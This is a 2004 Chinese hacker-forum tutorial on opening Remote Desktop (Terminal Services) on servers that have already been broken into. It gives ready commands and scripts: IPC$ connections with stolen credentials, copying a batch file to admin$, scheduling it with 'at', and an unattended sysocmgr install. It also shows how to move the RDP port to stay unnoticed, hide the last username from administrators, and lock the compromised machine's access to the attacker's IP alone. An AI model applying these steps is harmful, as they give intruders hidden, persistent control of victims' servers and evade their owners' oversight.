快速通道

文档分类
- 红盟公告
- 新手上路 <=
- 漏洞分析
- 工具介绍
- 安全配置
- 编程技术
- 安全技术
- 业界动态

本类热门
- ftp使用经典
- 一个木马的查杀过程
- 基于arp欺骗的网络攻击程序(BtNet.exe)
- 终端服务全攻略
- 握着你的“手”清除DLL后门
- 巧用asp木马和KV2004得到管理员权限

终端服务全攻略

提交文章： dahubaobao
提交日期： 2004-03-21
文章属性： 原创
文档类别： 新手上路
相关下载： **=>下载<=**
浏览次数： 今22次/总16910次

文：终端服务全攻略
作者：dahubaobao [Nuke Group]
主页：http://www.ringz.org
团体站点：http://www.digitalnuke.com/main/
邮件：dahushibaobao@vip.sina.com
QQ：47809945
发表于黑客防线2004年1期
工具及图片都在压缩包中，解压密码：www.ringz.org
http://dahubaobao.go.nease.net/Terminating.rar
欢迎进入环形区，一群技术狂热者的社区，www.ringz.org欢迎你的加入！
==========
终端服务全攻略

在漏洞不段出现的今天，入侵一台服务器已经不是什么新鲜事，但凡是入侵成功之后，都想尽办法来打开终端服务，什么是终端呢？又怎么在远程打开呢？看完本文，你就会成为一个开“终端的高手”。

什么是终端服务
3389又称Terminal Service，服务终端。在WindowsNT中最先开始使用的一种终端，在Win2K的Professional版本中不可以安装，在Server或以上版本才可以安装这个服务，其服务端口为3389。由于使用简单，方便等特点，一直受系统管理员的青睐。也正式因为他的简便，不产生交互式登陆，可以在后台操作，因此也受到了黑客朋友的喜爱，事实可以说明，现在大多数朋友在入侵之后，都想打开windows终端服务，甚至不惜重启对方的计算机，也要把终端服务安装上，由此可见他的普遍性。另，在在XP系统中又叫做“远程桌面”。

打开终端服务的各种方法
下面进入正题，开始今天的“终端”之旅。（各种工具我会提供）
一， 使用ROTS.VBS脚本
插拨广告：
1， 什么是VBS
VBScript的全称是:Microsoft Visual Basic Script Editon.(微软公司可视化BASIC脚本版). 正如其字面所透露的信息, VBS(VBScript的进一步简写)是基于Visual Basic的脚本语言. 我进一步解释一下, Microsoft Visual Basic是微软公司出品的一套可视化编程工具, 语法基于Basic. 脚本语言, 就是不编译成二进制文件, 直接由宿主(host)解释源代码并执行, 简单点说就是你写的程序不需要编译成.exe, 而是直接给用户发送.vbs的源程序, 用户就能执行了。

知道什么是VBS了，下面开始进行测试。首先你要获得这台主机的Administrator权限或Local System权限，具体怎么获得在这不必讨论。先来看看ROTS.VBS帮助.。(见图1)
ROTS v1.01

Remote Open Terminal services Script, by zzzEVAzzz
Welcome to visite www.isgrey.com
Usage:
cscript c:\scriptpath\ROTS.vbs targetIP username password [port] [/r]
port: default number is 3389.
/r: auto reboot target.

一般的命令格式：ROTS.vbs <目标IP> <用户名> <密码> [服务端口] [自动重起选项]。

下面打开本地CMD，输入：ROTS.vbs XXX.XXX.XX.XXX dahubaobao dahu 3389 /fr

注意：
1，/fr为强制重启，/r为普通重启，不要搞混了。
2， 脚本会判断目标系统类型,如果不是server及以上版本,就会提示你是否要取消。

优点：成功率高。
缺点：必须重新启动。
二，使用批处理（bat）
open3389.bat，先来看看帮助：（见图2）
**********Open3389**********
使用方法：
open3389.bat ip user password
open3389.bat 目标ip 用户名 密码
还是打开CMD，输入：open3389.bat XXX.XXX.XX.XXX dahubaobao dahu

好了 就这样来打开3389，bat文件真的很好用，建议大家去学习。

优点：不必重新启动。
缺点：成功率不高。

三， 使用HBULOT
这个工具要上传到对方的机器，然后执行，比较麻烦。
C:\>net use \\XXX.XXX.XX.XXX\IPC$ "dahu" /user:"dahubaobao" //建立IPC连接
C:\>copy HBULOT.exe \\ XXX.XXX.XX.XXX \WINNT\admin$ //上传到对方的systeme32目录下。
C:\>net use \\XXX.XXX.XX.XXX\IPC$ /del //断开IPC

然后telent过去，到对方的WINNT\systeme32目录下，直接运行HBULOT.exe即可（见图3）。

下面介绍的不需要工具，具体请看我的方法
首先telent过去，然后输入query user，使用这个命令的前提是安装终端，如果出现如图4的情况，就表明安装了终端。如果没有，那就证明没有安装，请看我是怎么做的：

C:\> dir c:\sysoc.inf /s //查找sysoc.inf文件的位置
c:\WINNT\inf 的目录

2003-06-19 12:05 3,458 sysoc.inf
1 个文件 3,458 字节

C:\>dir c:\sysocmgr.* /s //查找组件安装程序
c:\WINNT\system32 的目录

1900-10-29 04:00 42,768 sysocmgr.exe
1 个文件 42,768 字节

C:\>echo [Components] > c:\ts
C:\>echo TSEnable = on >> c:\ts
//建立无人职守安装的参数
C:\>sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\ts /q
开启3389，并且重新启动，如果
C:\>sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\ts /q /r
开启3389，不重新启动。

如果重新启动，那等几分钟就可以用客户端连接了，如果没重新启动，那就要等对方重新启动之后，才能连接（看你的耐心喽）。

在介绍一种很方便的做法，就是做一个bat文件，在本地运行即可，下面是bat的内容
echo [Components] > c:\ts

echo TSEnable = on >> c:\ts

C:\sqlsysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\ts /q

net use \\ip\ipc$ dahu /user:dahubaobao

copy 路径:\xxx.bat \\ip\winnt\admin$

at time 00:00:00 xxx.bat

主机执行之后，会自动重启，之后就可以利用3389登陆了。

这个bat文件很容易，前两条语句是“ 建立无人职守安装的参数 ”，第三条是真正的“ 开启终端的命令 ”，第四条是“ IPC连接 ”，第五是“ 把bat文件copy到对方的winnt\system32目录下 ”，最后是用“ time获取时间，然后用at命令启动。 ”

（个人推荐这种方法，比较简单，有点IPC知识的就可以实现。）

修改终端服务端口
这一步很重要，我们辛苦的开启了终端服务，不能因为“ 3389 ”的暴露而前功尽弃，所以端口是必须修改的，先说一下原理，终端服务安装完成后，会在注册表中增加两个键，其键值分别为16进制的3389，即“ 0x00000D3D ”。现在打开“ 运行 ”，输入“ regedit ”启动注册表编辑器，然后打开HKEY-LOCAL_MACHINE\System\CurrentControlSet\Control\TerminalServer\Wds\Repwd\Tds\Tcp和HKEY-LOCAL_MACHINE\System\CurrentControlSet\Control\TerminalServer\WinStartions\RDP-TCP子键，修改“ PortNumber ”，假如我们修改成8080端口，其键值为“ 1F90 ”，保存退出，注意，重启之后才能生效，修改完成之后，会到本地，打开客户端，输入：XXX.XXX.XXX.XX:8080，就可以连接了。（见图5，6）

有的朋友对注册表不熟悉，更有甚者恐惧注册表，认为是很难驾御的地方，那好办，下面介绍一个小工具，可以在命令行下修改端口，看我是怎么做的：还是先来看帮助
==========
Change Local or Remote TermService Port Program
Code By wawa@21cn.Com Http://www.Haowawa.Com
==========
Local Usage: c3389 7358
Remote Usage: c3389 \\192.168.0.1 adminname password 7358

Local Host TermService Port is : 3389

本地修改：c3389 端口
远程修改：c3389 \\XXX.XXX.XXX.XX Admin用户 密码 端口

先来看本地修改：
打开CMD。输入c3389 post，具体见图7。

在来看远程修改：
输入c3389 \\XXX.XXX.XXX.XX adminname password post。

到这里，端口就修改关闭了。

隐藏上次登陆过的用户名
在终端安装完成后，并且你已经登陆过，那么再次登陆就会显示上次登陆过的用户名，如果我们添加的帐户（或克隆）被管理员看到了，那不起疑心才怪呢？所以我们要隐藏登陆过的用户，要实现隐藏，还是要修改注册表，具体看我怎么做：在“ 运行 ”中输入“ regedit ”启动注册表编辑器，依次展开：HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon子键下的DontDisplayLastUserName，默认键值为“ 0 ”，我们修改为“ 1 ”，保存，退出，重新启动之后生效。见图8

限制/指定连接终端的地址
现在我们已经给肉鸡看了终端，并且修改了端口，还做了一些简单的维护，但这还是不够的，假如某人知道了我们修改过的端口就是终端服务，那就挂了，所以还要在肉鸡上通过IPSEC这个系统自带的而且功能非常强大的工具来做一下限制，具体请看我的演示：

1，静态IP
假如我的IP是111.222.255.255，我们通过设置IPSEC，来让肉鸡上的终端只通过我的连接，而拒绝除了我以外的所有连接，好，就这么办，先登陆终端，然后打开“管理工具”—“本地安全设置”，设置如下：

首先右键点击“IP安全策略 在本地机器”选择“创建IP策略”，然后打开了一个向导，即“IP安全策略向导”—“下一步”—“名称”—“下一步”取消“激活默认响应规则”—“下一步”—“完成”，这是会重新打开一个“新IP安全策略 属性”（见图9），取消“使用“添加向导””—“添加”—出现“新规则属性”—“添加”—出现“IP筛选器列表”—取消“使用“添加向导””—“添加”—出现“筛选器 属性”，选择“寻址”标签，源地址设为‘任何IP地址’，目的地址设为‘我的IP地址’；在选择“协议”标签，选择协议类型设为‘TCP’，设置IP协议端口‘从任意端口’—‘到此端口8080’—“确定”（见图10，11）--“关闭”—回到“新规则 属性”—选择“新IP筛选器列表”—在选“筛选器操作”标签—取消“使用“添加向导””—“添加”—在“安全措施”标签下选择“阻止”—“确定”—“关闭”（见图12），回到“新规则 属性”—选中“新筛选器操作”—“关闭”—“关闭”—回到“本地安全设置”—选中“新IP安全策略”—右键点击“指派”（见图13），好了，总算设置完了，这样所有的机器就无法连接8080（终端）端口了。

注意：以上都是使用默认的名称，所以大家在设置的时候注意一下。

由于上边的设置，把我自己也挡在了外面，这可不是我所想要的，所以，我们还要建立一条规则，允许我的IP 111.222.255.255访问对方的8080端口，方法如下：

右键点击“新IP安全策略”—“属性”—不选“使用“添加向导””—出现“新规则 属性”—“添加”—出现“IP筛选器列表”—不选“使用“添加向导””—“添加”—出现“筛选器 属性”—选择“寻址”标签，设置成如图14的样子，在选择“协议”标签，设置成如图12的样子，然后“确定”—“关闭”—回到“新规则 属性”—选中“新IP筛选器列表（1）”—在选“筛选器操作”标签—在选“允许”—“关闭”—“关闭”—回到“本地安全设置”。
（见图15）

2，动态IP

在中国，拥有静态IP的人毕竟是少数，大多数朋友还都是拨号，虽然现在ADSL很普遍，但ADSL还是虚拟拨号，即动态IP，所以用上边的方法设置IPSEC肯定是不行的，所以，现在我们要修改上边的一条规则，使IPSEC可以通过 特定子网的连接，方法很简单，其他的都不用改，按照图16的方法设置就可以了。

后记
通过上面的设置，在肉鸡的终端已经“比较”安全了，由于使用IPSEC总感觉很麻烦，所以在上边的设置中特意取消了“使用“添加向导””，因为这样可以更直观一些，并且附上一个IPSEC的动画教程，希望大家喜欢，本文如有错误，还请多多包涵，也可发邮件至dahushibaobao@vip.sina.com，和我交流。

本贴由环形区原创，欢迎转帖！欢迎进入环形区，一群技术狂热者的社区，www.ringz.org欢迎你的加入！

返回上页

Copyright © 2000-2004 **HUC** All Rights Reserved.
中国红客网络技术联盟 www.cnhonker.com
webmaster@cnhonker.net